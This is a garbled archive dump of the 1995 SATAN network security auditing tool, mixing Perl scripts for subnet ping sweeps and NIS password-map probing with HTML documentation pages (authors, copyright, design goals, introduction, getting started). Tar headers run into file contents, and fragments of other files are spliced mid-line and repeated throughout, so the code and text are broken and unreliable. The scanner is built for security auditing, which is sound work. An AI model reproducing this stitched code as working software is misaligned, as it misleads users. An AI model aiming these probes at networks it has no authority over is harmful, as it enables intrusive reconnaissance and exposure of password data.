  3147. # descriptors.  This can be fixed by inserting sleep() calls.
  3148.  
  3149. $running_under_satan = 1;
  3150.  
  3151. require 'config/paths.pl';
  3152. require 'perl/fix_hostname.pl';
  3153. require 'perl/misc.pl';
  3154. require 'perllib/getopts.pl'satan-1.1.1/bin/get_targets.........................................................................   755 .   465 .   506 .       3115  5742457415  10724. .........................................................................
  3155. .................................................................................................................................................................................................................................................................
  3156. ..........................#!/usr/local/bin/perl5
  3157. #
  3158. # Scan a subnet for live hosts
  3159. #
  3160. # If given IP address or hostname, scan everything on that subnet.
  3161. # If given partial IP address (e.g. 140.174.97), do the same.
  3162. #
  3163. # Method used:
  3164. #
  3165. #  Use fping to scan the net; any hits send to gethostbyaddr to
  3166. # get the hostname.  This will print out a list of hostname and/or
  3167. # IP addresses that are alive, one per line.
  3168. #
  3169.  
  3170. require 'config/paths.pl';
  3171. require 'perl/socket.pl';.# work around socket.ph problems
  3172.  
  3173. $name = $ARGV[0];
  3174. if (! $name) { die "Usage: $0 network-address\n"; }
  3175.  
  3176. #
  3177. # hostname?
  3178. if ($name !~ /[0-9]+\.[0-9]+\.[0-9]+/) {
  3179. .($name, $aliases, $type, $len, @ip) = gethostbyname($name);
  3180. .($a,$b,$c,$d) = unpack('C4',$ip[0]);
  3181. .$name = "$a.$b.$c";
  3182. .}
  3183.  
  3184. #
  3185. # IP addr?  If four octets, chop off the last one
  3186. if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {
  3187. .($name) = ($name =~ /^([0-9]+\.[0-9]+\.[0-9]+)\.[0-9]+/);
  3188. .}
  3189.  
  3190. # 3 octets of an ip address:
  3191. if ($name =~ /^[0-9]+\.[0-9]+\.[0-9]+$/) {
  3192. .for $i (1..255) { $args .= "$name.$i "; }
  3193. .}
  3194. else { die "Can't figure out what to scan ($name)\n"; }
  3195.  
  3196.  
  3197. # spawn off fping, look at results
  3198. die "Can't execute $FPING" unless open(FPING, "$FPING $args |");
  3199.  
  3200. while (<FPING>) {
  3201. .chop;
  3202. .($target, $result) = /(\S+)\s+(.*)$/;
  3203. .if ($_ =~ /is unreachable/) { next; }
  3204. .if ($_ =~ /is alive/) {
  3205. ..($a,$b,$c,$d) = split(/\./, $target);
  3206. ..@ip = ($a,$b,$c,$d);
  3207. ..# Hack alert!! Some libcs dump when ahost has many addresses.
  3208. ..if (fork() == 0) {
  3209. ...($name) = gethostbyaddr(pack("C4", @ip), &AF_INET);
  3210. ...if ($name) { print "$name\n"; }
  3211. ...else { print "$target\n"; }
  3212. ...exit;
  3213. ...}
  3214. ..else { wait; }
  3215. ..}
  3216. .}
  3217.  
  3218. close(FPING);
  3219. utput = "$guess $nis_server";
  3220. .$text = "$nis_server serves nis domain $guess for $target";
  3221. .&satan_print();
  3222. .exit;
  3223.     }
  3224.     close (YPWHICH);
  3225. }
  3226.  
  3227. # All out guesses failed.
  3228.  
  3229. $text = "unable to guess nis domain name of $target";
  3230. &satan_print();
  3231. exit;
  3232. >) {
  3233. .chop;
  3234. .next unless /(\S+):(\S+)/;
  3235. .($host = $1) =~ tr/A-Z/a-z/;
  3236. .$path = $2;
  3237. .$fqdn = &fix_hostname($host ,$target);
  3238. .# If everything fails, just output what we can:
  3239. .if ($fqdn eq "satan-1.1.1/bin/yp-chk.satan........................................................................   700 .   465 .   506 .       2153  5742457417  10705. ......................................................................................
  3240. .................................................................................................................................................................................................................................................................
  3241. .............#!/usr/local/bin/perl5
  3242. #
  3243. # Query the NIS server.
  3244. #
  3245.  
  3246. $running_under_satan = 1;
  3247. require 'config/satan.cf';
  3248. require 'config/paths.pl';
  3249. require 'perl/misc.pl';
  3250. require 'perl/hostname.pl';
  3251. require 'perl/getfqdn.pl';
  3252. require 'perllib/getopts.pl';
  3253.  
  3254. $usage="Usage: $0 [-t timeout -u -v] domain target\n";
  3255. $opt_u = $untrusted_host;
  3256. &Getopts("t:uv") || die $usage;
  3257. $timeout = $short_timeout;
  3258.  
  3259. ($#ARGV == 1) || die $usage;
  3260.  
  3261. $domain = $ARGV[0];
  3262. $target = $ARGV[1];
  3263. $flags = "-v" if defined($opt_v);
  3264. $timeout = $opt_t if defined($opt_t);
  3265. $untrusted_host = $opt_u;
  3266.  
  3267. $flags = "$flags -t $timeout";
  3268.  
  3269. $service = &basename($0, ".satan");
  3270. $severity = "x";
  3271. $status = "a";
  3272. $service_output = "";
  3273.  
  3274. $| = 1;
  3275.  
  3276. $command = "$YP_CHK $flags $domain passwd.byname $target";
  3277.  
  3278. print "$command\n" if $opt_v;
  3279.  
  3280. open(YP, "$command |") || die "$0: cannot run yp-chk";
  3281. while(<YP>) {
  3282. .if (defined($opt_v)) {
  3283. .    print;
  3284. .}
  3285. .if ($untrusted_host && /:.*:.*:.*:.*:.*:/) {
  3286. ..$trusted = "ANY\@ANY";
  3287. ..$severity = "us";
  3288. ..$trustee = "user\@$target";
  3289. ..$service_output = "NIS password file access";
  3290. ..$text = $service_output;
  3291. ..&satan_print();
  3292. .}
  3293. .# Other NIS problems later.
  3294. }
  3295. open(FPING, "$FPING $args |");
  3296.  
  3297. while (<FPING>) {
  3298. .chop;
  3299. .($target, $result) = /(\S+)\s+(.*)$/;
  3300. .if ($_ =~ /is unreachable/) { next; }
  3301. .if ($_ =~ /is alive/) {
  3302. ..($a,$b,$c,$d) = split(/\./, $target);
  3303. ..@ip = ($a,$b,$c,$d);
  3304. ..# Hack alert!! Some libcs dump when ahost has many addresses.
  3305. ..if (fork() == 0) {
  3306. ...($name) = gethostbyaddr(pack("C4", @ip), &AF_INET);
  3307. ...if ($name) { print "$name\n"; }
  3308. ...elsesatan-1.1.1/html/...................................................................................   700 .   465 .   506 .          0  5742521547   6561. ..............................................................................................
  3309. .................................................................................................................................................................................................................................................................
  3310. .....satan-1.1.1/html/docs/..............................................................................   700 .   465 .   506 .          0  5742521540   7502. ................................................................................................
  3311. .................................................................................................................................................................................................................................................................
  3312. ...satan-1.1.1/html/docs/acknowledgements.html.........................................................   600 .   465 .   506 .       4615  5737213127  14022. ..................................................................................................
  3313. .................................................................................................................................................................................................................................................................
  3314. .<HTML>
  3315. <HEAD>
  3316. <title>Acknowledgements</title>
  3317. <LINK REV="made" HREF="mailto:satan@fish.com">
  3318. </HEAD>
  3319. <BODY>
  3320. <H2>Acknowledgements</H2>
  3321. <HR>
  3322. Acknowledgements and Dedications
  3323. <P>
  3324. We'd like to thank Larry Wall for PERL and the WWW folks for their great
  3325. software that we hammered into our user interface.  Many thanks go to
  3326. Neil Gaiman for supplying us with original artwork for the project.
  3327. <p>
  3328. Dan thanks Muffy for her faith in SATAN (that does sound a bit odd)
  3329. and for the inspiring name.
  3330. <p>
  3331. Last, but not least, our wonderful beta testers and general help-givers
  3332. and such, with their affiliations (In alphabetical order)
  3333. <UL>
  3334. <LI>Eric Allman, University of California at Berkeley
  3335. <LI>Australian Computer Emergency Response Team (AUSCERT)
  3336. <LI>Walter Belgers, Philips Communications and Processing Services
  3337. <LI>Steve Bellovin, Bell Laboratories
  3338. <LI>Terry Bernstein, SRI
  3339. <LI>Mike Blakele, PC Week
  3340. <LI>Bill Cheswick, Bell Laboratories
  3341. <LI>Computer Emergency Response Team (CERT)
  3342. <LI>Computer Incident Advisory Capability (CIAC)
  3343. <LI>Lionel Cons, CERN
  3344. <LI>Rich R Cower, Intel Incorporated
  3345. <LI>Kay Dekker, University of Coventry
  3346. <LI>Sean Doran, Sprint
  3347. <LI>Dale Drew, MCI
  3348. <LI>Stephen Hansen, Stanford University
  3349. <LI>LaMont Jones, HP
  3350. <LI>Chris LaFournaise, Sequent Computer Systems, Inc.
  3351. <LI>John Larson, Xerox Parc
  3352. <LI>Eliot Lear, Silicon Graphics, Inc.
  3353. <LI>William LeFebvre, Gene Rackow, Argonne National Laboratories
  3354. <LI>Jason Martin Levitt
  3355. <LI>Wolfgang Ley, DFN-CERT
  3356. <LI>John Matzka, Sequent Computer Systems, Inc.
  3357. <LI>DaVe McComb, Goldman Sachs
  3358. <LI>Dan Mosedale, Netscape Communications Corporation
  3359. <LI>Alec Muffett, Sun Microsystems
  3360. <LI>Teun Nijssen, CERT-NL
  3361. <LI>Personnel of the Purdue COAST Laboratory, and the graduate intrusion
  3362. detection class: Taimur Aslam, Mark Crosbie, Bryn Dole, Ivan Krsul,
  3363. Sandeep Kumar, Steve Lodin, Christoph Schuba, Mihai Sirbu and Gene
  3364. Spafford
  3365. <LI>Personnel of the University of Oslo: 
  3366. Anders Odberg, Knut Borge, Morten Hanshaugen, Olav Kolbu
  3367. <LI>Jeff Polk, BSDI
  3368. <LI>Brad Powell, Sun Microsystems
  3369. <LI>Marcus J. Ranum, Trusted Information Systems
  3370. <LI>Brian Reid, DEC
  3371. <LI>Steve Romig, Ohio State University
  3372. <LI>Shabbir Safdar, Goldman Sachs
  3373. <LI>Jeff Sedayao, Intel Corporation
  3374. <LI>David HM Spector, J.P. Morgan
  3375. <LI>Kevin Steves, HP
  3376. <LI>Peter Shipley
  3377. <LI>Eamonn Sullivan, PC Week
  3378. <LI>Lloyd Taylor
  3379. <LI>Nicholas R Trio, IBM
  3380. <LI>Cheryl Trooskin
  3381. <LI>Mark Verber, Xerox Parc
  3382. <LI>Steve Whitlock, Boeing
  3383. </UL>
  3384. </BODY>
  3385. </HTML>
  3386. hanger = (\S+)/;
  3387. .$pref =~ s/,//;
  3388. .$me{$me} = $pref;
  3389. .}
  3390.  
  3391. if ($_ =~ /mail addr/) { ($ma{$target}) = /mail addr = (\Ssatan-1.1.1/html/docs/satan_reference.html..........................................................   600 .   465 .   506 .       5407  5740021464  13607. ...........................................
  3392. .................................................................................................................................................................................................................................................................
  3393. ........................................................<HTML>
  3394. <HEAD>
  3395. <title> SATAN Reference </title>
  3396. <LINK REV="made" HREF="mailto:satan@fish.com">
  3397. </HEAD>
  3398. <BODY>
  3399.  
  3400. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">  SATAN Reference </H1>
  3401. <H2>(Security Administrator Tool for Analyzing Networks)</H2>
  3402. <HR>
  3403.  
  3404. <OL>
  3405. <p>
  3406. <LI><A HREF="the_main_parts.html"><STRONG>SATAN Architecture</STRONG></A>
  3407. <OL>
  3408. <LI><A HREF="the_main_parts.html#general">Architecture overview</A>
  3409. <LI><A HREF="the_main_parts.html#crypto-ignition">Magic cookie generator</A>
  3410. <LI><A HREF="the_main_parts.html#policy-engine">Policy engine</A>
  3411. <LI><A HREF="the_main_parts.html#proximity-levels">Proximity levels</A>
  3412. <LI><A HREF="the_main_parts.html#target-acquisition">Target acquisition</A>
  3413. <LI><A HREF="the_main_parts.html#subnet-scan">Subnet scan</A>
  3414. <LI><A HREF="the_main_parts.html#data-acquisition">Data acquisition</A>
  3415. <LI><A HREF="the_main_parts.html#scanning-levels">Scanning levels</A>
  3416. <LI><A HREF="the_main_parts.html#inference-engine">Inference engine</A>
  3417. <LI><A HREF="the_main_parts.html#report-analysis">Reporting and Analysis</A>
  3418. </OL>
  3419.  
  3420. <p>
  3421. <LI><A HREF="user_interface.html"><STRONG>The SATAN User Interface</STRONG></A>
  3422. <OL>
  3423. <LI><A HREF="user_interface.html#basics">The Basics</A>
  3424. <LI><A HREF="user_interface.html#gathering-data">Gathering Data</A>
  3425. <LI><A HREF="user_interface.html#data-mgmt">Data Management</A>
  3426. <LI><A HREF="user_interface.html#looking">Looking at and understanding the results</A>
  3427. <LI><A HREF="user_interface.html#tricky-implications">Hints, Further tricky security implications, or Getting The Big Picture (tm)</A>
  3428. <LI><A HREF="user_interface.html#command-line">The Command-line Interface</A>
  3429. </OL>
  3430.  
  3431. <p>
  3432. <LI><A HREF="satan.cf.html"><strong>The most important file of all -
  3433. satan.cf</strong></A>
  3434.  
  3435. <p>
  3436. <LI><A HREF="satan.db.html"><strong>The SATAN database record
  3437. format</strong></A>
  3438. <OL>
  3439. <LI><A HREF="satan.db.html#facts"><strong>facts</strong> - just the facts, m'am</A>
  3440. <LI><A HREF="satan.db.html#all-hosts"><strong>all-hosts</strong> - all the hosts seen</A>
  3441. <LI><A HREF="satan.db.html#todo"><strong>todo</strong> - all the things it did</a>
  3442. </OL>
  3443.  
  3444. <p>
  3445. <LI><A HREF="satan.rules.html"><strong>SATAN Rulesets - what makes
  3446. SATAN Go</strong></A>
  3447. <OL>
  3448. <LI><A HREF="satan.rules.html#drop">Overriding/dropping SATAN data</A>
  3449. <LI><A HREF="satan.rules.html#facts">Generating new facts</A>
  3450. <LI><A HREF="satan.rules.html#hosttype">Ascertaining host types</A>
  3451. <LI><A HREF="satan.rules.html#services">Determining network services</A>
  3452. <LI><A HREF="satan.rules.html#todo">Creating internal task lists</A>
  3453. <LI><A HREF="satan.rules.html#trust">Trust relation classification</A>
  3454. </OL>
  3455. <p>
  3456. <LI><A HREF="satan.probes.html"><strong>Adding your own probes and
  3457. vulnerabilities</strong></A>
  3458. </OL>
  3459.  
  3460. <p>
  3461. <hr>
  3462. <a href="../satan_documentation.html"> Back to the Documentation TOC</a>
  3463.  
  3464. </BODY>
  3465. </HTML>
  3466.  is $MOSAIC\n";
  3467. .$upper{"MOSAIC"} = $MOSAIC;
  3468. .}
  3469. else { print "Cannot find a web browser!  SATAN cannot be run except in CLI"; }
  3470.  
  3471. print "\nSo far so good...\nLooking for all the commands now...\n";
  3472.  
  3473. for $command (@all_commands) {
  3474. .$found="";
  3475. .for $disatan-1.1.1/html/docs/authors.html..................................................................   600 .   465 .   506 .       3055  5736744274  12165. .............................................................................................
  3476. .................................................................................................................................................................................................................................................................
  3477. ......<HTML>
  3478. <HEAD>
  3479. <title>Author, authors!</title>
  3480. <LINK REV="made" HREF="mailto:satan@fish.com">
  3481. </HEAD>
  3482. <BODY>
  3483. <h2><IMG SRC="../images/satan-almost-full.gif" ALT="[SATAN IMAGE]"> Authors</H2>
  3484. <HR>
  3485. <strong>Dan Farmer</strong>
  3486. <P>
  3487. <A HREF="http://www.fish.com/fish.com/dan.html">dan</A>
  3488. is a computer spy and master procrastinator (just ask wietse!) that hacks
  3489. mostly Unix stuff in awk, perl, shell, and C.  He lives in San
  3490. Francisco, California, USA, is a professional slacker,
  3491. and is lucky enough to be able to live in an electronic age that
  3492. permits him to work with wietse.
  3493. <P>
  3494. <strong>Wietse Venema</strong>
  3495. <P>
  3496. <A HREF="http://www.win.tue.nl/win/math/bs/wietse">
  3497. Wietse</A> is a Unix guru who lives in <A
  3498. HREF="http://www.ic.gov/94fact/country/171.html">the Netherlands</A>
  3499. and works for the <A HREF="http://www.tue.nl"> Eindhoven University of
  3500. Technology</A>.  He is having several professional lives, and in his
  3501. spare time likes to write amazing <a
  3502. href="ftp://ftp.win.tue.nl/pub/security/index.html">tools and
  3503. papers.</a>  </DL>
  3504. <p>
  3505. <HR>
  3506. E-mail to both authors can be sent to
  3507. <A HREF="mailto:satan@fish.com">satan@fish.com</A> (or click 
  3508. on the e-mail address.)  We'll try to answer it, but please be aware
  3509. that we only work on SATAN in our (very) part time.  You might also try
  3510. posting to <I>comp.security.unix</I> for answers.
  3511. Failing either of these, you can send mail directly to dan:
  3512. <p>
  3513. <ADDRESS><A HREF="mailto:zen@fish.com">zen@fish.com</A></ADDRESS>
  3514. <p>
  3515. or Wietse:
  3516. <p>
  3517. <ADDRESS><A HREF="mailto:wietse@wzv.win.tue.nl">wietse@wzv.win.tue.nl</A></ADDRESS>
  3518. </BODY>
  3519. </HTML>
  3520. interface.html#command-line">The Command-line Interface</A>
  3521. </OL>
  3522.  
  3523. <p>
  3524. <LI><A HREF="satan.cf.html"><strong>The most important file of all -
  3525. satan.cf</strong></A>
  3526.  
  3527. <p>
  3528. <LI><A HREF="satan.db.html"><strong>The SATAN database record
  3529. format</strong></A>
  3530. <OL>
  3531. <LI><A HREF="satan.db.html#facts"><strong>facts</strong> - just the facts, m'am</A>
  3532. <LI><A HREF="satan.db.html#all-hosts"><strong>all-hosts</strong> - all the hosts seen</A>
  3533. <LI><A HREF="satan.db.html#todo"><stronsatan-1.1.1/html/docs/copyright.html................................................................   600 .   465 .   506 .       2441  5736744274  12506. ..............................................................
  3534. .................................................................................................................................................................................................................................................................
  3535. .....................................<HTML>
  3536. <HEAD>
  3537. <title>Copyright</title>
  3538. <LINK REV="made" HREF="mailto:satan@fish.com">
  3539. </HEAD>
  3540. <BODY>
  3541. <H2>Copyright</H2>
  3542. <HR>
  3543. <P>
  3544. Copyright 1995 by Dan Farmer and Wietse Venema.  All rights reserved.
  3545. Some individual files may be covered by other copyrights (this will
  3546. be noted in the file itself.)
  3547. <P>
  3548. Redistribution and use in source and binary forms are permitted
  3549. provided that this entire copyright notice is duplicated in all such
  3550. copies.  No charge, other than an "at-cost" distribution fee, may be
  3551. charged for copies, derivations, or distributions of this material
  3552. without the express written consent of the copyright holders.
  3553. <P>
  3554. THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
  3555. WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
  3556. MERCHANTIBILITY AND FITNESS FOR ANY PARTICULAR PURPOSE.
  3557. <P>
  3558. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
  3559. INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
  3560. (INCLUDING, BUT NOT LIMITED TO, LOSS OF USE, DATA, OR PROFITS OR
  3561. BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
  3562. WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
  3563. OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
  3564. ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  3565.  
  3566. </BODY>
  3567. </HTML>
  3568. x</I> for answers.
  3569. Failing either of these, you can send mail directly to dan:
  3570. <p>
  3571. <ADDRESS><A HREF="mailto:zen@fish.com">zen@fish.com</A></ADDRESS>
  3572. <p>
  3573. or Wietse:
  3574. <p>
  3575. <ADDRESS><A HREF="mailto:wietse@wzv.win.tue.nl">wietse@satan-1.1.1/html/docs/design.html...................................................................   600 .   465 .   506 .       5274  5737562775  11763. ..............................................
  3576. .................................................................................................................................................................................................................................................................
  3577. .....................................................<HTML>
  3578. <HEAD>
  3579. <title>Design Goals</title>
  3580. <LINK REV="made" HREF="mailto:satan@fish.com">
  3581. </HEAD>
  3582. <BODY>
  3583. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">Design Goals</H1>
  3584. <HR>
  3585. <P>
  3586. SATAN was not built to solve any single problem; rather, it was built as
  3587. a research tool, to see what would happen if freely available state of the
  3588. art software tools were merged with as much security knowledge as we could
  3589. pool together were crammed into one (at least semi-)cohesive package.
  3590. Our design goals were:
  3591. <UL>
  3592. <LI>Discover if the problem of mapping out the security of large networks
  3593. was a solvable problem.
  3594.  
  3595. <LI>Use the traditional Unix toolbox approach of program design.
  3596.  
  3597. <LI>Use as many freely available software tools that were currently
  3598. useful and available, to cut down development time to a minimum.
  3599.  
  3600. <LI>Design a security package that was educational as well as useful.
  3601.  
  3602. <LI>Create a tool that was freely available to anyone who wanted to use it.
  3603.  
  3604. <LI>Discover and uncover as much security and network information as
  3605. possible without being destructive.
  3606.  
  3607. <LI>Create the best (and, at the creation/development stages, quite nearly the
  3608. only) investigative security network tool available, at any price.
  3609.  
  3610. <LI>Spur further program development (commercial or academic) in this very
  3611. rich area.
  3612.  
  3613. <LI>Show just how insecure the Internet really is, and how much every
  3614. site depends on a large number of potentially insecure other sites.
  3615. </UL>
  3616. <P>
  3617. <A NAME="toolkit"><H3>Toolkit approach</H3></A>
  3618. It would be impossible to write all of the functionality necessary to
  3619. make SATAN work, with only two (very!) part-time programmers.  We
  3620. decided from the start to steal as much information, tools, and
  3621. methodologies (we have no shame!) as possible to create SATAN.  In
  3622. particular, using perl and the HTML interface were vital to the
  3623. completion of the package.  It would be wonderful if we could have a
  3624. mapping program to graphically display the results, but we haven't found
  3625. anything suitable so far.
  3626. <P>
  3627. <A NAME="speed-optimization"><H3>Speed/optimization</H3></A>
  3628. Optimizing SATAN for speed of execution was not much of a design
  3629. consideration.  It was designed to be an information gathering tool
  3630. that would be run periodically; a fairly large network (say, a
  3631. thousand nodes) can be scanned in several hours.  In all likelihood, the
  3632. majority of time consumed when using SATAN will be deciding on what
  3633. actions to take based on the results that were found.  In any case, the
  3634. network timeouts and uncertainties make real optimization very
  3635. difficult.  Fortunately, perl was fast enough (thanks, Larry!) to make
  3636. performance a non-issue for most network queries and work.
  3637.  
  3638. <hr>
  3639. <a href="satan_overview.html"> Back to the Introductory TOC/Index</a>
  3640. </BODY>
  3641. </HTML>
  3642. an_documentation.html"> Back to the Documentation TOC</a>
  3643.  
  3644. </BODY>
  3645. </HTML>
  3646.  is $MOSAIC\n";
  3647. .$upper{"MOSAIC"} = $MOSAIC;
  3648. .}
  3649. else { print "Cannot find a web browser!  SATAN cannot be run except in CLI"; }
  3650.  
  3651. print "\nSo far so good...\nLooking for all the commands now...\n";
  3652.  
  3653. for $command (@all_commands) {
  3654. .$found="";
  3655. .for $disatan-1.1.1/html/docs/quotes.html...................................................................   600 .   465 .   506 .       1773  5741330116  12003. .............................................................................................
  3656. .................................................................................................................................................................................................................................................................
  3657. ......<HTML>
  3658. <HEAD>
  3659. <title>Quotes about SATAN</title>
  3660. <LINK REV="made" HREF="mailto:satan@fish.com">
  3661. </HEAD>
  3662. <BODY>
  3663. <H2><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">Quotes about SATAN</H2>
  3664. <HR>
  3665. <H3>Pre-release:</H3>
  3666. <p>
  3667. "It's like randomly mailing automatic rifles to 5,000 addresses.  I
  3668. hope some crazy teen doesn't get a hold of one."  (Oakland tribune.)
  3669. <p>
  3670. "SATAN is like a gun, and this is like handing a gun to a 12-year-old."
  3671. (LA times.)
  3672. <p>
  3673. "It's like distributing high-powered rocket launchers throughout the world,
  3674. free of charge, available at your local library or school, and inviting people
  3675. to try them out by shooting at somebody."  (San jose mercury.)
  3676. <p>
  3677. "It discovers vulnerabilities for which we have no solutions."  (The New York Times.)
  3678. <p>
  3679. "...people could die."  (vikr@aol.com (VikR))
  3680. <p>
  3681. <H3>Post-release:</H3>
  3682. <p>
  3683. "...there is no obscuring its 
  3684. presence.  It announces itself like a rock concert to the scanned 
  3685. machine's log file." (Nick Christenson, npc@minotaur.jpl.nasa.gov)
  3686. </BODY>
  3687. </HTML>
  3688.  as
  3689. psatan-1.1.1/html/docs/getting_started.html..........................................................   600 .   465 .   506 .       7413  5741742562  13663. ....................................................................................................
  3690. ................................................................................................................................................................................................................................................................<
  3691. HTML>
  3692. <HEAD>
  3693. <title>Getting started!</title>
  3694. <LINK REV="made" HREF="mailto:satan@fish.com">
  3695. </HEAD>
  3696. <BODY>
  3697. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">Getting started</H1>
  3698. <HR>
  3699. <p>
  3700. <A NAME="what-you-need"><H3>What you need to do to
  3701. .run SATAN even if you don't want to read documentation</H3></A>
  3702.  
  3703. In a nutshell, all you really have to do is type <I>make</I>, edit the
  3704. configuration file <A HREF="satan.cf.html">(config/satan.cf)</A>
  3705. if desired, and then run SATAN; to use the HTML interface to run SATAN
  3706. you may simply type <I>satan</I>, then use <I>SATAN Target selection</I>
  3707. to choose a target.  To run SATAN from the command line you would type
  3708. something like <I>satan victim.com</I>.
  3709. <p>
  3710. <STRONG> Remember - you should run SATAN as "root"!</STRONG>
  3711. <p>
  3712. After the probe is done, you can then go into the HTML interface (again, just
  3713. type <I>satan</I>), go to the <I>SATAN Reporting & Data Analysis</I>
  3714. section.  Look at the <I>Vulnerabilities</I> section first, then examine
  3715. the other methods (<I>Information</I> and <I>Trust</I>).
  3716. <p>
  3717. <STRONG>One important caveat!</STRONG>  
  3718. <p>
  3719. Remember, if you have the <i>tcpd
  3720. wrappers</i> or some other mechanism that does a reverse finger, turn
  3721. off that feature before running SATAN!  There is a reasonable chance that
  3722. someone else out on the network will have the same feature turned on, and
  3723. you do NOT want to enter into a "finger war" or infinite loop of
  3724. fingers going back and forth between you and your targets, each of you
  3725. slowly getting buried in mail and/or logs.  Make sure to turn it
  3726. back on after finishing the data collection, of course!
  3727.  
  3728. <p>
  3729. <A NAME="getting-n-compiling"><H3>Getting and compiling
  3730. .all those programs if you don't have them already</H3></A>
  3731. You'll need <i>perl5</i> (see
  3732. <A HREF="system_requirements.html#other-requirements">
  3733. system requirements</A>) as well as a C compiler to get SATAN running properly.
  3734. To compile and prepare SATAN, look at the
  3735. <A HREF="../tutorials/first_time/make.html">
  3736. first section</A> of the SATAN tutorial.
  3737.  
  3738. <p>
  3739. <A NAME="satan-files"><H3>What are all the files for?</H3></A>
  3740. SATAN creates and uses quite a few files, but a user typically only has
  3741. to really be concerned with one - the configuration file,
  3742. (<A HREF="satan.cf.html">config/satan.cf</A>.)  Besides the program files that
  3743. actually run SATAN, the following files are read or generated by SATAN:
  3744. <OL>
  3745. <li><i>bin/*</i> These are the programs that SATAN depends on for
  3746. data acquisition.
  3747. <li><i>config/*</i> Configuration files that SATAN need to find other
  3748. programs, and for default settings.
  3749. <li><I>html/*</I>.  All of these files are either <i>html</i> pages or
  3750. <i>perl</i> programs to generate the pages for the user interface.
  3751. <li><i>perl/*</i> Code modules used by either SATAN or by the data
  3752. acquisition tools.
  3753. <li><I>results/database-name</i>. SATAN databases. Each database is made
  3754. up of three files:
  3755. <ol>
  3756. <li><I>all-hosts</I>.  This is a list of all the hosts that
  3757. SATAN found out about during the scan, including hosts that it never touched.
  3758. <li><I>facts</I>.  This is a list of all the output records
  3759. emitted by the <i>*.satan</i> tools.  These records are what gets processed
  3760. by SATAN to generate the reports.
  3761. <li><i>todo</I>.  This lists all the hosts and probes
  3762. that SATAN actually ran against the hosts. With this table, SATAN knows what
  3763. probes it can skip when you scan the hosts again.
  3764. </OL>
  3765. <li><I>rules/*</I>.  The rules that SATAN uses to assess the situation
  3766. and infer facts from the existing information.  Extremely flexible
  3767. (simply <i>perl</i> code that is interpreted), this is one of the most powerful
  3768. features of SATAN.  See the <A HREF="satan.rules.html">rules</A> section for
  3769. more.
  3770. <li><i>src/*</i> The source code to some of the SATAN support programs.
  3771. </OL>
  3772.  
  3773. <hr>
  3774. <a href="satan_overview.html"> Back to the Introductory TOC/Index</a>
  3775.  
  3776. </BODY>
  3777. </HTML>
  3778. on the network will have the same feature turned on, and
  3779. you do NOT want to enter into a "finger war" or infinite loop of
  3780. fingers going back and forth between you and your targets, each of you
  3781. slowly getting buried in mail and/or logs.  Make sursatan-1.1.1/html/docs/intro.html....................................................................   600 .   465 .   506 .       6451  5737562571  11635. .................................................
  3782. .................................................................................................................................................................................................................................................................
  3783. ..................................................<HTML>
  3784. <HEAD>
  3785. <title> Introduction</title>
  3786. <LINK REV="made" HREF="mailto:satan@fish.com">
  3787. </HEAD>
  3788. <BODY>
  3789. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">Introduction</H1>
  3790. <HR>
  3791. <P>
  3792. <A NAME="what-is-satan"><H3>What is SATAN?</H3></a>
  3793. <p>
  3794. SATAN is the Security Analysis Tool for Auditing Networks.  In its
  3795. simplest (and default) mode, it gathers as much information
  3796. about remote hosts and networks as possible by examining such network
  3797. services as finger, NFS, NIS, ftp and tftp, rexd, and other services.
  3798. The information gathered includes the presence of various network
  3799. information services as well as potential security flaws -- usually in
  3800. the form of incorrectly setup or configured network services, well-known
  3801. bugs in system or network utilities, or poor or ignorant policy
  3802. decisions.  It can then either report on this data or use a simple
  3803. rule-based system to investigate any potential security problems.
  3804. Users can then examine, query, and analyze the output with an HTML
  3805. browser, such as Mosaic, Netscape, or Lynx.  While the program is
  3806. primarily geared towards analyzing the security implications of the
  3807. results, a great deal of general network information can be gained when
  3808. using the tool - network topology, network services running, types of
  3809. hardware and software being used on the network, etc.
  3810. <p>
  3811. However, the real power of SATAN comes into play when used in
  3812. exploratory mode.  Based on the initial data collection and a user
  3813. configurable ruleset, it will examine the avenues of trust and
  3814. dependency and iterate further data collection runs over secondary
  3815. hosts.  This not only allows the user to analyze her or his own network
  3816. or hosts, but also to examine the real implications inherent in network trust
  3817. and services and help them make reasonably educated decisions about the
  3818. security level of the systems involved.
  3819. <p>
  3820. <A NAME="who-should-use"><H3>Who should use SATAN?</H3></a>
  3821. SATAN should prove to be most useful when used by the system or security
  3822. administrators who own or are responsible for the security of the
  3823. systems involved.  However, since it is freely available and will
  3824. probably see widespread use throughout the Internet community, it should
  3825. be used by anyone who is concerned about the security of their systems,
  3826. since potential intruders will be able to access the same security
  3827. vulnerability information and since it is quite likely that it will
  3828. uncover security problems that were previously unknown.
  3829. <p>
  3830. <A NAME="how-does-it-work"><H3>How does it work?</H3></a>
  3831. SATAN has a target acquisition program that uses <I>fping</I> to
  3832. determine whether or not a host or set of hosts in a subnet are alive.
  3833. It then passes this target list to an engine that drives the data
  3834. collection and the main feedback loop.  Each host is examined to see if
  3835. it has been seen before, and, if not, a list of tests/probes is run
  3836. against it (the set of tests depends on the distance the host is from
  3837. the initial target and what probe level has been set.)  The tests emit a
  3838. data record that has the hostname, the test run, and any results found
  3839. from the probe; this data is saved in files for analysis.  The user
  3840. interface uses HTML to link the often vast amounts of data to more
  3841. coherent and palatable results that the user can readily digest and
  3842. understand.
  3843.  
  3844. <hr>
  3845. <a href="satan_overview.html"> Back to the Introductory TOC/Index</a>
  3846. </BODY>
  3847. </HTML>
  3848. ever, the real power of SATAN comes into play when used in
  3849. exploratory mode.  Based on the initial data collection and a user
